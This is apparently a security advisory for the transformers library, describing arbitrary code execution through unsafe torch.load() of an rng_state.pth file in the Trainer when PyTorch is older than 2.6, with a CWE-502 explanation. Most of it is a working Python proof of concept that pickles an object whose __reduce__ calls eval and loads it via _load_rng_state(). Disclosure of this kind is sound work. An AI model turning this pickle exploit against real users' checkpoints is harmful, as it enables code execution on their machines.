Deserialization of Untrusted Data Affecting transformers package, versions [,5.0.0rc3)

transformers is a State-of-the-art Machine Learning for JAX, PyTorch and TensorFlow

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the _load_rng_state() that uses unsafe torch.load() function. An attacker can achieve an arbitrary code execution by providing malicious rng_state.pth file.

Note:

This is only exploitable when PyTorch < 2.6 is used.

#!/usr/bin/env python3
"""
PoC: Arbitrary Code Execution via HuggingFace Transformers Trainer
Target: src/transformers/trainer.py line 3059
"""

import os
import sys
import tempfile
import shutil
import torch
from packaging import version

# Verify vulnerable PyTorch version
assert version.parse(torch.__version__).release < version.parse("2.6").release, \
    "PoC requires PyTorch < 2.6"

# Verify safe_globals() provides no protection
from transformers.trainer import safe_globals
import contextlib
assert isinstance(safe_globals(), contextlib.nullcontext), \
    "safe_globals() should return nullcontext for PyTorch < 2.6"

print("[*] Environment verified: PyTorch < 2.6, safe_globals() returns nullcontext")

# Create malicious payload
MARKER_FILE = "/tmp/poc_code_executed.txt"

class MaliciousRngState:
    """Payload that executes arbitrary code when unpickled"""
    def __reduce__(self):
        payload = f'''
(lambda: [
    open("{MARKER_FILE}", "w").write(
        f"ARBITRARY CODE EXECUTED\\n"
        f"UID: {{__import__('os').getuid()}}\\n"
        f"This code ran during torch.load() in trainer.py:3059\\n"
    ),
    {{
        "python": __import__('random').getstate(),
        "numpy": __import__('numpy').random.get_state(),
        "cpu": __import__('torch').get_rng_state()
    }}
][1])()
'''
        return (eval, (payload,))

# Create malicious checkpoint directory
checkpoint_dir = tempfile.mkdtemp(prefix="malicious_checkpoint_")
rng_file = os.path.join(checkpoint_dir, "rng_state.pth")
torch.save(MaliciousRngState(), rng_file)
print(f"[*] Malicious checkpoint created at: {checkpoint_dir}")

# Clean marker file
if os.path.exists(MARKER_FILE):
    os.remove(MARKER_FILE)

# Create minimal Trainer and trigger vulnerable code path
from transformers import Trainer, TrainingArguments, AutoConfig, AutoModelForSequenceClassification

config = AutoConfig.from_pretrained("prajjwal1/bert-tiny", num_labels=2)
model = AutoModelForSequenceClassification.from_config(config)
args = TrainingArguments(output_dir=tempfile.mkdtemp(), per_device_train_batch_size=1, report_to="none")
trainer = Trainer(model=model, args=args)

print("[*] Calling trainer._load_rng_state() - this triggers torch.load()")
trainer._load_rng_state(checkpoint_dir)

# Verify code execution
if os.path.exists(MARKER_FILE):
    print("\n" + "=" * 60)
    print("VULNERABILITY CONFIRMED: ARBITRARY CODE EXECUTED")
    print("=" * 60)
    with open(MARKER_FILE) as f:
        print(f.read())
else:
    print("[!] PoC failed")
    sys.exit(1)

# Cleanup
shutil.rmtree(checkpoint_dir, ignore_errors=True)

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

• GitHub Commit